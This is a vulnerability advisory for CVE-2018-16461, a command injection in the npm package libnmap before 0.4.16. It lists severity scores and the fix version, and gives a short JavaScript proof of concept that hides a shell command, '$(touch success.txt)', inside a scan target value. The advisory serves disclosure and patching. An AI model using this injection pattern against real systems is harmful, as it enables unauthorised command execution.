CVE-2018-16461 – libnmap
Package
Manager: npm
Name: libnmap
Vulnerable Version: >=0 <0.4.16
Severity
Level: Medium
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N/E:H/RL:U/RC:C
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
EPSS: 0.01492 pctl0.80348
Details
Command Injection in libnmap Versions of `libnmap` before 0.4.16 are vulnerable to command injection. Proof of concept ```js const nmap = require('libnmap'); const opts = { range: [ 'scanme.nmap.org', "x.x.$(touch success.txt)" ] }; nmap.scan(opts, function(err, report) { if (err) throw new Error(err); for (let item in report) { console.log(JSON.stringify(report[item])); } }); ``` ## Recommendation Update to version 0.4.16 or later
Metadata
Created: 2018-11-01T14:51:33Z
Modified: 2023-09-07T18:15:41Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/11/GHSA-7g2w-6r25-2j7p/GHSA-7g2w-6r25-2j7p.json
CWE IDs: ["CWE-77"]
Alternative ID: GHSA-7g2w-6r25-2j7p
Finding: F422
Auto approve: 1